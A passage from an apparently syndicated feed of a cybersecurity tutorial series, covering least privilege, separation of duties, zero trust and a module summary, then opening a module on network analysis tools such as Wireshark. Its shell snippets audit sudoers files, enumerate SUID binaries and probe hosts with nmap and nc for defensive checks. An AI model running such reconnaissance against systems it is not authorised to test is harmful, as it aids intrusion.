  Unique, randomised local admin password per machine
  Stored in AD, accessible only to authorised admins

  Even better: disable local admin account entirely (CIS benchmark)

SolarWinds-type attacks:
  Build pipeline had excessive permissions
  Compromise of build system = ability to modify any software, sign it
  Least privilege: build system should not have production signing keys
  Production signing: isolated, hardware-backed, requires human approval
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 Just-in-Time (JIT) Privilege
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;JIT Privilege: escalate permissions only when needed, revoke immediately after

Traditional (persistent privilege):
  Admin has always-on domain admin rights
  Risk: if account compromised at any moment, attacker has domain admin

JIT (temporary privilege):
  Admin has limited standard user account normally
  To perform admin task: request elevated access via PAM (CyberArk, BeyondTrust)
  PAM grants temporary access (1 hour, specific system)
  PAM records the entire session
  Access revoked automatically after session

Benefits:
  Attacker who steals credentials gets no privilege (not currently elevated)
  All privileged actions are recorded (accountability)
  Unusual access requests are visible and auditable

Azure PIM (Privileged Identity Management):
  Users are "eligible" for roles but not permanently assigned
  To activate: request role, provide MFA, provide justification
  Role activates for configured duration (e.g., 8 hours max)
  All activations logged to Azure AD audit log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Implement and audit least privilege:&lt;/span&gt;

&lt;span class="c"&gt;# Audit Linux sudo privileges:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/sudoers | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^#&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^$"&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/sudoers.d/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="c"&gt;# Look for: ALL=(ALL) ALL or NOPASSWD: ALL — these are overprivileged&lt;/span&gt;

&lt;span class="c"&gt;# Check running services and their privilege level:&lt;/span&gt;
ps &lt;span class="nt"&gt;-eo&lt;/span&gt; user,pid,comm | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# Processes running as root that shouldn't be&lt;/span&gt;

&lt;span class="c"&gt;# Check for setuid/setgid binaries (potential privilege escalation):&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^/proc&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^/sys"&lt;/span&gt;
&lt;span class="c"&gt;# Non-standard SUID files = investigate&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows local admins:&lt;/span&gt;
net localgroup administrators
&lt;span class="c"&gt;# Only IT service accounts and break-glass accounts should be here&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows service account privileges:&lt;/span&gt;
sc qc service_name                    &lt;span class="c"&gt;# Check what account a service runs as&lt;/span&gt;
&lt;span class="c"&gt;# Services running as LocalSystem = highest risk if exploited&lt;/span&gt;

&lt;span class="c"&gt;# Implement principle via Linux capabilities (instead of full root):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;setcap cap_net_raw+eip /usr/bin/ping    &lt;span class="c"&gt;# ping only needs raw socket&lt;/span&gt;
getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null               &lt;span class="c"&gt;# List all capability-enabled binaries&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Least privilege is the single most effective control for limiting the blast radius of any compromise. WannaCry encrypted entire networks because processes ran as administrators. Ransomware running as a limited user can only encrypt that user's files. JIT privilege means even if admin credentials are stolen, they provide no privilege until explicitly elevated — eliminating the persistent privileged account as an attack target.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  12. Separation of Duties
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 Definition
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Separation of Duties (SoD):&lt;/strong&gt; Ensuring that no single person has control over all aspects of a critical operation. Requires multiple people to complete critical actions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Why it matters:

Without SoD:
  Single accountant: creates vendor, approves invoice, initiates payment
  One person controls entire financial transaction
  If malicious: can create fictitious vendor and pay themselves
  If compromised: attacker has full financial control

With SoD:
  Person A: creates vendor in system
  Person B (supervisor): approves new vendor
  Person C: creates invoice
  Person D: approves invoice payment
  Person E: initiates bank transfer (requires Person D's approval code)

  For fraud to succeed: attacker must compromise multiple people/systems

Principle in IT:
  Developer should not deploy their own code to production
    (could introduce malicious code without review)
  Security team should not manage the logs they are measured against
    (could manipulate metrics)
  Network admin should not also be the security monitor
    (could cover tracks after policy violation)
  Backup admin should not control the systems being backed up
    (could delete both production and backup)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 SoD in Technology Controls
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Code Review as SoD:
  No code reaches production without peer review
  Developer → Pull Request → Peer Review → Merge → CI/CD → Staging → Approval → Production

  Critical: review must be meaningful — rubber-stamp approval defeats purpose

Four-Eyes Principle:
  Any critical action requires two people to approve
  Common in:
    Banking: large transfers require two authorisers
    Change management: changes require change advisory board
    Cryptography: split knowledge key ceremonies (HSM administration)
    Nuclear weapons: two-person integrity rule (two keys simultaneously)

SoD in Access Control:
  Privileged Access Management: admin cannot grant themselves more access
  AD: user who can modify AD groups should not be able to modify audit logs
  Database: DBA who can read all data should not control application authentication
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Implement and verify separation of duties:&lt;/span&gt;

&lt;span class="c"&gt;# Git branch protection (enforce code review via GitHub API):&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; PATCH &lt;span class="s2"&gt;"https://api.github.com/repos/ORG/REPO/branches/main/protection"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: token YOUR_TOKEN"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/vnd.github.v3+json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
        "required_pull_request_reviews": {
            "required_approving_review_count": 2,
            "dismiss_stale_reviews": true
        },
        "required_status_checks": {"strict": true, "contexts": ["CI/Tests"]},
        "enforce_admins": true
    }'&lt;/span&gt;

&lt;span class="c"&gt;# Linux: make audit logs immutable:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;chattr +i /etc/audit/auditd.conf  &lt;span class="c"&gt;# Cannot modify without removing attribute first&lt;/span&gt;

&lt;span class="c"&gt;# Require two-factor for privilege escalation (PAM):&lt;/span&gt;
&lt;span class="c"&gt;# /etc/pam.d/sudo: auth required pam_google_authenticator.so&lt;/span&gt;

&lt;span class="c"&gt;# Check for SoD violations — user who can both reset passwords AND manage audit:&lt;/span&gt;
&lt;span class="c"&gt;# (requires AD access)&lt;/span&gt;
&lt;span class="c"&gt;# Get-ADUser -Filter * -Properties MemberOf | Where-Object {&lt;/span&gt;
&lt;span class="c"&gt;#     $_.MemberOf -match "Account Operators" -and $_.MemberOf -match "Event Log Readers"&lt;/span&gt;
&lt;span class="c"&gt;# }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Separation of Duties is the only control that protects against malicious insiders with legitimate access. No technical control prevents a DBA with full database access from stealing data — but requiring two people to authorise exports, using DLP to detect anomalous queries, and session recording creates both deterrence and detection. The four-eyes principle applied to critical operations converts single points of failure into conspiracy requirements.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  13. Zero Trust Model
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 The Paradigm Shift
&lt;/h3&gt;

&lt;p&gt;Traditional security assumed that everything inside the network perimeter was trusted. Zero Trust rejects this assumption entirely.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traditional Model ("Castle and Moat"):
  Inside network = trusted
  Outside network = untrusted
  If you're on the VPN → you're trusted → access everything

  Fatal flaw: attackers who breach the perimeter have free movement inside

Zero Trust Model:
  "Never trust, always verify"
  Location in network conveys NO trust
  Every access request verified:
    Who is the user? (identity)
    What device are they using? (device health)
    What are they trying to access? (resource)
    Is this request normal for them? (behaviour)
    What is the minimum access needed? (least privilege)

  Even valid internal traffic is verified continuously
  Even privileged users are verified per-request
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Zero Trust Architecture Components
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NIST SP 800-207 Zero Trust Architecture:

Policy Engine (PE): Makes access decisions
  Input: identity, device posture, resource, context, policy
  Output: ALLOW / DENY / ALLOW with conditions

Policy Administrator (PA): Enforces decisions from PE
  Establishes/terminates sessions
  Issues credentials for specific sessions

Policy Enforcement Point (PEP): Gatekeeper
  Sits between user and resource
  All traffic passes through PEP
  PEP checks with PA before allowing connection

Identity Provider (IdP): Source of identity truth
  Azure AD, Okta, Ping Identity
  Provides: authentication, MFA, attributes

Device Trust: Certificate-based device authentication
  MDM (Intune, Jamf) attestation
  Device health: OS version, patch status, AV status, encryption

Network: Software-Defined Perimeter
  Resources not discoverable without authorisation
  Micro-segmentation: every workload in its own segment

Monitoring: Full visibility into all access
  Every request logged
  Continuous risk scoring
  Anomaly detection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Zero Trust Implementation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zero Trust Maturity Model (CISA, 2023):

Identity:
  Traditional: Username/password
  Initial: MFA added
  Advanced: Phishing-resistant MFA (FIDO2), identity risk scoring
  Optimal: Continuous identity verification, behaviour analytics

Devices:
  Traditional: No device check
  Initial: MDM enrolled devices required
  Advanced: Device compliance gating access (health check)
  Optimal: Continuous device monitoring, automated remediation

Networks:
  Traditional: Flat trusted internal network
  Initial: VLANs, basic segmentation
  Advanced: Micro-segmentation, software-defined perimeter
  Optimal: ZTNA (Zero-trust network access), no implicit trust anywhere

Applications:
  Traditional: All internal apps accessible on network
  Initial: Application proxy, published selectively
  Advanced: Per-app MFA, session recording for sensitive apps
  Optimal: Fine-grained authorisation per request, behaviour analytics

Data:
  Traditional: Perimeter protects data, no internal DLP
  Initial: Data classification, basic DLP
  Advanced: DRM (rights management), zero-trust data access
  Optimal: Automated data protection based on sensitivity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Zero Trust implementation verification:&lt;/span&gt;

&lt;span class="c"&gt;# Check: are internal resources reachable without authentication?&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; http://internal-app.company.local/
&lt;span class="c"&gt;# 401/403: correct (requires auth)&lt;/span&gt;
&lt;span class="c"&gt;# 200: no authentication required = zero trust violation&lt;/span&gt;

&lt;span class="c"&gt;# Check: is VPN the only way to access internal resources?&lt;/span&gt;
nmap &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443,8080,3389,22 internal_hostname_from_internet
&lt;span class="c"&gt;# Ports accessible directly from internet = perimeter failure&lt;/span&gt;

&lt;span class="c"&gt;# Verify MFA is enforced (attempt login with password only — should fail):&lt;/span&gt;
&lt;span class="c"&gt;# If login succeeds without second factor: MFA not enforced&lt;/span&gt;

&lt;span class="c"&gt;# Check Cloudflare Access / ZTNA policy enforcement:&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://protected-app.company.com/
&lt;span class="c"&gt;# Should redirect to identity provider, not serve content directly&lt;/span&gt;

&lt;span class="c"&gt;# Implement basic ZT — verify every session via nginx + oauth2-proxy:&lt;/span&gt;
&lt;span class="c"&gt;# All requests require OAuth2 authentication before reaching the app&lt;/span&gt;
&lt;span class="c"&gt;# No direct access without a valid, MFA-verified session token&lt;/span&gt;

&lt;span class="c"&gt;# Verify micro-segmentation (from inside a workstation):&lt;/span&gt;
&lt;span class="c"&gt;# Try to reach another workstation directly:&lt;/span&gt;
ping ANOTHER_WORKSTATION_IP
nc &lt;span class="nt"&gt;-zv&lt;/span&gt; ANOTHER_WORKSTATION_IP 445
&lt;span class="c"&gt;# If succeeds: no micro-segmentation (flat network)&lt;/span&gt;
&lt;span class="c"&gt;# If fails: micro-segmentation working correctly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Zero Trust in OT/ICS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Zero Trust concepts applied to OT/ICS:

Challenge: many OT devices cannot authenticate themselves
  PLCs don't have certificates
  Field sensors have no identity mechanism

OT Zero Trust approach:

1. Zone/Conduit model (IEC 62443):
   Replace flat OT network with security zones
   All inter-zone traffic through verified conduits (firewalls)
   Devices inherit trust from zone membership

2. Identity at the boundary:
   Even if PLC has no identity, the engineering workstation accessing it does
   MFA on engineering workstation
   Session recording for all PLC access

3. Never trust the IT-OT connection:
   IT network is assumed compromised
   OT access from IT: through DMZ, jump server, protocol break
   One-way data flows where possible (data diode)

4. Micro-segmentation of OT zones:
   Instead of one OT VLAN: separate VLANs per process area
   Firewall between each area
   Attack contained to one process area if successful

5. Continuous monitoring:
   Baseline normal OT traffic (passive)
   Alert on any deviation
   Assume breach — always be looking for threat actors already inside
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Zero Trust is not a product — it is a security philosophy requiring architectural changes across identity, device, network, application, and data. The starting point for most organisations is always identity: enforce phishing-resistant MFA (FIDO2/WebAuthn) for all users, all applications, all the time. This single control eliminates the vast majority of credential-based attacks that represent the initial access vector in most documented breaches.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  14. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Core Principle&lt;/th&gt;
&lt;th&gt;Attack Scenario&lt;/th&gt;
&lt;th&gt;Key Defence&lt;/th&gt;
&lt;th&gt;OT/ICS Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIA — Confidentiality&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Only authorised parties see data&lt;/td&gt;
&lt;td&gt;Eavesdropping, data exfiltration, credential theft&lt;/td&gt;
&lt;td&gt;Encryption (TLS, disk), access controls, DLP&lt;/td&gt;
&lt;td&gt;Process parameters, network topology protection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIA — Integrity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data has not been unauthorised modified&lt;/td&gt;
&lt;td&gt;Supply chain tampering (SolarWinds), log modification, sensor spoofing (Stuxnet)&lt;/td&gt;
&lt;td&gt;Cryptographic hashes, digital signatures, FIM, immutable logs&lt;/td&gt;
&lt;td&gt;ICS protocol auth (IEC 62351), cross-validate sensors, SIS independence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIA — Availability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Systems accessible when needed&lt;/td&gt;
&lt;td&gt;DDoS, ransomware, SYN flood, disk exhaustion&lt;/td&gt;
&lt;td&gt;Redundancy, DDoS mitigation, backups, patching&lt;/td&gt;
&lt;td&gt;Highest priority in OT; redundant control paths; maintenance window patches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authentication&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Verify claimed identity&lt;/td&gt;
&lt;td&gt;Phishing, brute force, credential stuffing, MFA fatigue, Kerberoasting&lt;/td&gt;
&lt;td&gt;Phishing-resistant MFA (FIDO2), password managers, Kerberos hardening&lt;/td&gt;
&lt;td&gt;Compensate for no-auth OT protocols with boundary auth and session recording&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authorization&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Determine what identity may do&lt;/td&gt;
&lt;td&gt;IDOR, privilege escalation, broken access control (OWASP #1)&lt;/td&gt;
&lt;td&gt;Server-side checks every request, RBAC, ABAC, deny by default&lt;/td&gt;
&lt;td&gt;Jump server ACLs, OT zone firewall rules, per-function access control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Access Control&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enforce auth/authz decisions&lt;/td&gt;
&lt;td&gt;VLAN hopping, DAC bypass, SUID exploitation&lt;/td&gt;
&lt;td&gt;802.1X NAC, SELinux MAC, ACL auditing, remove SUID&lt;/td&gt;
&lt;td&gt;Network segmentation, managed switch port security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AAA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Auth + Authz + Audit trail&lt;/td&gt;
&lt;td&gt;Unattributed access, compliance gaps, incident reconstruction failure&lt;/td&gt;
&lt;td&gt;RADIUS/TACACS+, centralised logging, SIEM&lt;/td&gt;
&lt;td&gt;NERC CIP compliance, individual accounts, session logging for OT access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Threat × Vulnerability × Impact&lt;/td&gt;
&lt;td&gt;Misallocated resources (patching low-risk, ignoring high-risk)&lt;/td&gt;
&lt;td&gt;FAIR/CVSS-based prioritisation, risk register, ALE calculation&lt;/td&gt;
&lt;td&gt;OT risk: availability/safety impact far exceeds data breach cost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Threat Actors&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Who is targeting you and why&lt;/td&gt;
&lt;td&gt;APT persistent access (SolarWinds), ransomware (Colonial), insider (Capital One)&lt;/td&gt;
&lt;td&gt;Threat intelligence, TTP-based detection, sector-specific ISAC&lt;/td&gt;
&lt;td&gt;Sandworm targets OT; Volt Typhoon pre-positioning in critical infrastructure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Attack Surface&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Every entry point an attacker could use&lt;/td&gt;
&lt;td&gt;Exposed SCADA on internet (Shodan), shadow IT, forgotten assets&lt;/td&gt;
&lt;td&gt;Asset discovery, exposure reduction, continuous attack surface monitoring&lt;/td&gt;
&lt;td&gt;Thousands of OT devices exposed on Shodan; vendor remote access scope&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Defence in Depth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Overlapping controls at multiple layers&lt;/td&gt;
&lt;td&gt;Single control failure → complete compromise&lt;/td&gt;
&lt;td&gt;Layered controls: physical → network → host → app → data → human&lt;/td&gt;
&lt;td&gt;Purdue model zones + firewalls + monitoring = OT DiD implementation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Least Privilege&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Minimum necessary permissions only&lt;/td&gt;
&lt;td&gt;WannaCry blast radius (admin accounts), lateral movement&lt;/td&gt;
&lt;td&gt;LAPS, JIT privilege, service accounts with minimal rights&lt;/td&gt;
&lt;td&gt;No shared "operator" accounts; application-specific accounts for HMI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Separation of Duties&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No single person controls critical action&lt;/td&gt;
&lt;td&gt;Insider fraud, malicious code deployment without review&lt;/td&gt;
&lt;td&gt;Code review, 4-eyes principle, PAM for privileged access&lt;/td&gt;
&lt;td&gt;Two-person rule for safety system changes; change advisory board&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Zero Trust&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Never trust, always verify — location conveys no trust&lt;/td&gt;
&lt;td&gt;Lateral movement after perimeter breach (Colonial Pipeline), VPN-only perimeter bypass&lt;/td&gt;
&lt;td&gt;Phishing-resistant MFA first; then ZTNA, micro-segmentation, continuous monitoring&lt;/td&gt;
&lt;td&gt;Zone/conduit model; identity at boundary; assume breach posture&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-2.2-cryptography.md"&gt;Stage 2.2 — Cryptography&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//../STAGE-01_Network-Fundamentals/stage-1.8-network-analysis-tools.md"&gt;Stage 1.8 — Network Analysis Tools&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage Index:&lt;/strong&gt; &lt;a href="//./README.md"&gt;Stage 2 README&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>bytewall</category>
      <category>programming</category>
    </item>
    <item>
      <title>Stage 1.8 — Network Analysis Tools</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 09 Jun 2026 18:55:05 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-18-network-analysis-tools-1ick</link>
      <guid>https://dev.to/rencberakman/stage-18-network-analysis-tools-1ick</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.8 — Network Analysis Tools&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.7 — Wireless Networks&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Stage:&lt;/strong&gt; Stage 2 — Cybersecurity Core&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why Network Analysis Tools Define Your Career Ceiling&lt;/li&gt;
&lt;li&gt;Wireshark — The Packet Analyst's Primary Weapon&lt;/li&gt;
&lt;li&gt;tcpdump — The Command-Line Packet Capture Engine&lt;/li&gt;
&lt;li&gt;Netstat and ss — Connection State Intelligence&lt;/li&gt;
&lt;li&gt;Nmap — The Network Mapper&lt;/li&gt;
&lt;li&gt;Traceroute and Tracert — Path Discovery&lt;/li&gt;
&lt;li&gt;Ping — The Fundamental Connectivity Test&lt;/li&gt;
&lt;li&gt;ipconfig and ifconfig — Interface Configuration&lt;/li&gt;
&lt;li&gt;Additional Critical Tools&lt;/li&gt;
&lt;li&gt;Tool Integration — Building Investigation Workflows&lt;/li&gt;
&lt;li&gt;Network Analysis in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why Network Analysis Tools Define Your Career Ceiling
&lt;/h2&gt;

&lt;p&gt;There is a direct correlation between how deeply you understand these tools and how far you progress in cybersecurity. Every discipline — penetration testing, incident response, threat hunting, SOC analysis, OT security assessment — requires the ability to observe, interrogate, and interpret network behaviour. The tools in this module are not beginner tools you graduate from. They are the tools professionals use every day regardless of seniority.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real incidents where these tools were decisive:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stuxnet Discovery (2010):&lt;/strong&gt; The Stuxnet worm was partially identified through anomalous network traffic analysis. Kaspersky researchers used packet capture tools to observe unusual communication patterns with Siemens WinCC databases and later identified the C2 protocol embedded in industrial communications. Without deep packet analysis, the world's first known cyber-weapon aimed at physical infrastructure might have remained undiscovered far longer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;APT1/Comment Crew Exposure (2013):&lt;/strong&gt; Mandiant's landmark report exposing Chinese APT1 operations relied heavily on network analysis of captured traffic. Nmap scans revealed attack infrastructure; packet captures documented exfiltration patterns; netstat data from compromised hosts showed persistent connections to C2 infrastructure. The entire forensic reconstruction was built on network analysis data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Colonial Pipeline (2021):&lt;/strong&gt; The incident response teams deployed after the ransomware attack used network analysis tools to understand the blast radius — which systems had communicated with the initially compromised systems, which had received malicious payloads, what lateral movement paths had been used. Packet capture evidence helped reconstruct the attack timeline.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS specifically:&lt;/strong&gt; When a PLC stops responding or a SCADA system behaves erratically, the first question is always: "What is happening at the network level?" Wireshark captures of Modbus traffic can reveal unauthorised write commands. Nmap scans (conducted carefully) identify rogue devices. Ping reveals whether a field device is reachable. These tools are the diagnostic instruments of industrial network security.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;You cannot defend what you cannot see. You cannot investigate what you cannot measure. These tools are your senses on the network — developing fluency with them is not optional.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Wireshark — The Packet Analyst's Primary Weapon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 What Wireshark Is and How It Works
&lt;/h3&gt;

&lt;p&gt;Wireshark is the world's most widely used network protocol analyser. It captures packets from a network interface, decodes them according to hundreds of protocol dissectors, and presents them in a structured, searchable interface. It can also open packet capture files in pcap, pcapng, and dozens of other formats.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Wireshark captures packets:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal NIC Operation:
  Network traffic → NIC → [NIC accepts only MY packets] → OS → Applications

Promiscuous Mode:
  Network traffic → NIC → [NIC accepts ALL packets on segment] → OS → Wireshark

Monitor Mode (wireless):
  All wireless frames → Wireless NIC → [ALL frames regardless of encryption] → Wireshark
  (Monitor mode captures encrypted frames but cannot decrypt without key)

Capture Pipeline:
  Physical medium → NIC driver → WinPcap/Npcap (Windows) or libpcap (Linux/macOS)
  → Capture engine → Packet buffer → Dissectors → Display engine

Packet dissection:
